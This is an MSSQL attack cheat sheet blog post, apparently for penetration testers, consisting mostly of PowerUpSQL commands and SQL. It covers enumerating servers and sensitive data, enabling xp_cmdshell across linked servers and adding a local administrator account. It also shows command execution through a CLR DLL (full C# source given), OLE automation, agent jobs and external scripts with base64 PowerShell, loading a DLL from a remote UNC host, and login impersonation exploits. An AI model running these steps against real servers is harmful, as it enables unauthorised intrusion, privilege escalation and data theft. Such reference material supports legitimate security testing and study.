Mssql server cheatsheet
Post
Cancel

Mssql server cheatsheet

Zxce3 Mar 25, 2021 2021-03-25T00:00:00+07:00
8 min reads

MSSQL Server

Summary

Identify Instances and Databases

Discover Local SQL Server Instances

Get-SQLInstanceLocal

Discover Domain SQL Server Instances

Get-SQLInstanceDomain -Verbose
# Get Server Info for Found Instances
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
# Get Database Names
Get-SQLInstanceDomain | Get-SQLDatabase -NoDefaults

Discover Remote SQL Server Instances

Get-SQLInstanceBroadcast -Verbose
Get-SQLInstanceScanUDPThreaded -Verbose -ComputerName SQLServer1

Identify Encrypted databases

Note: These are automatically decrypted for admins

Get-SQLDatabase -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Verbose | Where-Object {$_.is_encrypted -eq "True"}

Version Query

Get-SQLInstanceDomain | Get-Query "select @@version"

Identify Sensitive Information

Get Tables from a Specific Database

Get-SQLInstanceDomain | Get-SQLTable -DatabaseName <DBNameFromGet-SQLDatabaseCommand> -NoDefaults
Get Column Details from a Table
Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName <DBName> -TableName <TableName>

Gather 5 Entries from Each Column

Get-SQLInstanceDomain | Get-SQLColumnSampleData -Keywords "<columnname1,columnname2,columnname3,columnname4,columnname5>" -Verbose -SampleSize 5

Gather 5 Entries from a Specific Table

Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query 'select TOP 5 * from <DatabaseName>.dbo.<TableName>'

Dump common information from server to files

Invoke-SQLDumpInfo -Verbose -Instance SQLSERVER1\Instance1 -csv

Linked Database

A Valid Link Will Be Identified by the DatabaseLinkName Field in the Results

Get-SQLInstanceDomain | Get-SQLServerLink -Verbose

Get-SQLServerLinkCrawl -Instance "<DBSERVERNAME\DBInstance>" -Verbose

Query Version of Linked Database

Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DBSERVERNAME\DBInstance>`",'select @@version')" -Verbose

Execute Procedure on Linked Database

SQL> EXECUTE('EXEC sp_configure ''show advanced options'',1') at "linked.database.local";
SQL> EXECUTE('RECONFIGURE') at "linked.database.local";
SQL> EXECUTE('EXEC sp_configure ''xp_cmdshell'',1;') at "linked.database.local";
SQL> EXECUTE('RECONFIGURE') at "linked.database.local";
SQL> EXECUTE('exec xp_cmdshell whoami') at "linked.database.local";

Determine Names of Linked Databases

tempdb, model ,and msdb are default databases usually not worth looking into. Master is also default but may have something and anything else is custom and definitely worth digging into. The result is DatabaseName which feeds into following query.

Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from sys.databases')" -Verbose

Determine All the Tables Names from a Selected Linked Database

The result is TableName which feeds into following query

Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from <DatabaseNameFromPreviousCommand>.sys.tables')" -Verbose

Gather the Top 5 Columns from a Selected Linked Table

The results are ColumnName and ColumnValue which feed into following query

Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select TOP 5 * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand>')" -Verbose

Gather Entries from a Selected Linked Column

Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`"'select * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand> where <ColumnNameFromPreviousCommand>=<ColumnValueFromPreviousCommand>')" -Verbose

Command Execution via xp_cmdshell

xp_cmdshell disabled by default since SQL Server 2005

Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command whoami
Creates and adds local user backup to the local administrators group:
Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "net user backup Password1234 /add' -Verbose
Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "net localgroup administrators backup /add" -Verbose

Extended Stored Procedure

Add the extended stored procedure and list extended stored procedures

Create-SQLFileXpDll -OutFile C:\temp\test.dll -Command "echo test > c:\temp\test.txt" -ExportName xp_test
Get-SQLQuery -UserName sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Query "sp_addextendedproc 'xp_test', '\\10.10.0.1\temp\test.dll'"
Get-SQLQuery -UserName sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Query "EXEC xp_test"
Get-SQLStoredProcedureXP -Instance "<DBSERVERNAME\DBInstance>" -Verbose

CLR Assemblies

Prerequisites:

  • sysadmin privileges
  • CREATE ASSEMBLY permission (or)
  • ALTER ASSEMBLY permission (or)

Execute commands using CLR assembly

Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "whoami" Verbose
or
Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64>" -Verbose

Manually creating a CLR DLL and importing it

Create a C# DLL file with the following content, with the command : C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\cmd_exec.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;

public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmd_exec (SqlString execCommand)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
        proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();

        // Create the record and specify the metadata for the columns.
        SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
        
        // Mark the beginning of the result set.
        SqlContext.Pipe.SendResultsStart(record);

        // Set values for each column in the row
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());

        // Send the row back to the client.
        SqlContext.Pipe.SendResultsRow(record);
        
        // Mark the end of the result set.
        SqlContext.Pipe.SendResultsEnd();
        
        proc.WaitForExit();
        proc.Close();
    }
};

Then follow these instructions:

  1. Enable show advanced options on the server
    1
2
3

     sp_configure 'show advanced options',1; 
 RECONFIGURE
 GO
  2. Enable CLR on the server
    1
2
3

     sp_configure 'clr enabled',1
 RECONFIGURE
 GO
  3. Import the assembly
    1
2
3

     CREATE ASSEMBLY my_assembly
 FROM 'c:\temp\cmd_exec.dll'
 WITH PERMISSION_SET = UNSAFE;
  4. Link the assembly to a stored procedure
    1
2

     CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
 GO
  5. Execute and clean
    1
2
3

     cmd_exec "whoami"
 DROP PROCEDURE cmd_exec
 DROP ASSEMBLY my_assembly

CREATE ASSEMBLY will also accept an hexadecimal string representation of a CLR DLL

1
2
3
4

CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM 
0x4D5A90000300000004000000F[TRUNCATED]
WITH PERMISSION_SET = UNSAFE 
GO

OLE Automation

Execute commands using OLE automation procedures

Invoke-SQLOSCmdOle -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "whoami" Verbose

# Enable OLE Automation
EXEC sp_configure 'show advanced options', 1
EXEC sp_configure reconfigure
EXEC sp_configure 'OLE Automation Procedures', 1
EXEC sp_configure reconfigure

# Execute commands
DECLARE @execmd INT
EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT
EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c'

Agent Jobs

Execute commands through SQL Agent Job service

Invoke-SQLOSCmdAgentJob -Subsystem PowerShell -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell e <base64encodedscript>" -Verbose
Subsystem Options:
–Subsystem CmdExec
-SubSystem PowerShell
–Subsystem VBScript
–Subsystem Jscript

List All Jobs

Get-SQLAgentJob -Instance "<DBSERVERNAME\DBInstance>" -username sa -Password Password1234 -Verbose

External Scripts

:warning: You need to enable external scripts.

1
2

sp_configure 'external scripts enabled', 1;
RECONFIGURE;

Python:

Invoke-SQLOSCmdPython -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64encodedscript>" -Verbose

R

Invoke-SQLOSCmdR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64encodedscript>" -Verbose

Audit Checks

Find and exploit impersonation opportunities

  • Impersonate as: EXECUTE AS LOGIN = 'sa'
  • Impersonate dbo with DB_OWNER
    1
2
3

      SQL> select is_member('db_owner');
  SQL> execute as user = 'dbo'
  SQL> SELECT is_srvrolemember('sysadmin')

Invoke-SQLAuditPrivImpersonateLogin -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose

# impersonate sa account
powerpick Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "EXECUTE AS LOGIN = 'sa'; SELECT IS_SRVROLEMEMBER(''sysadmin'')" -Verbose -Debug

Find databases that have been configured as trustworthy

Invoke-SQLAuditPrivTrustworthy -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose

The following audit checks run web requests to load Inveigh via reflection. Be mindful of the environment and ability to connect outbound.

Invoke-SQLAuditPrivXpDirtree
Invoke-SQLUncPathInjection
Invoke-SQLAuditPrivXpFileexist

Manual SQL Server Queries

Query Current User & determine if the user is a sysadmin

1
2
3

select suser_sname()
Select system_user
select is_srvrolemember('sysadmin')

Current Role

1

Select user

Current DB

1

select db_name()

List all tables

1

select table_name from information_schema.tables

List all databases

1

select name from master..sysdatabases

All Logins on Server

1

Select * from sys.server_principals where type_desc != 'SERVER_ROLE'

All Database Users for a Database

1

Select * from sys.database_principals where type_desc != 'database_role';

List All Sysadmins

1

SELECT name,type_desc,is_disabled FROM sys.server_principals WHERE IS_SRVROLEMEMBER ('sysadmin',name) = 1

List All Database Roles

1
2
3
4
5
6
7
8
9

SELECT DB1.name AS DatabaseRoleName,
isnull (DB2.name, 'No members') AS DatabaseUserName
FROM sys.database_role_members AS DRM
RIGHT OUTER JOIN sys.database_principals AS DB1
ON DRM.role_principal_id = DB1.principal_id
LEFT OUTER JOIN sys.database_principals AS DB2
ON DRM.member_principal_id = DB2.principal_id
WHERE DB1.type = 'R'
ORDER BY DB1.name;

Effective Permissions from the Server

1

select * from fn_my_permissions(null, 'server');

Effective Permissions from the Database

1

SELECT * FROM fn_dp1my_permissions(NULL, 'DATABASE');

Find SQL Server Logins Which can be Impersonated for the Current Database

1
2
3
4
5

select distinct b.name
from sys.server_permissions a
inner join sys.server_principals b
on a.grantor_principal_id = b.principal_id
where a.permission_name = 'impersonate'

Exploiting Impersonation

1
2
3
4
5
6

SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
EXECUTE AS LOGIN = 'adminuser'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT ORIGINAL_LOGIN()

Exploiting Nested Impersonation

1
2
3
4
5
6
7
8

SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
EXECUTE AS LOGIN = 'stduser'
SELECT SYSTEM_USER
EXECUTE AS LOGIN = 'sa'
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT ORIGINAL_LOGIN()
SELECT SYSTEM_USER

References

Methodology and Resource, Cheatsheet
Server Database
This post is licensed under CC BY 4.0 by the author.
Contents

Server Side Request Forgery

Windows amsi bypass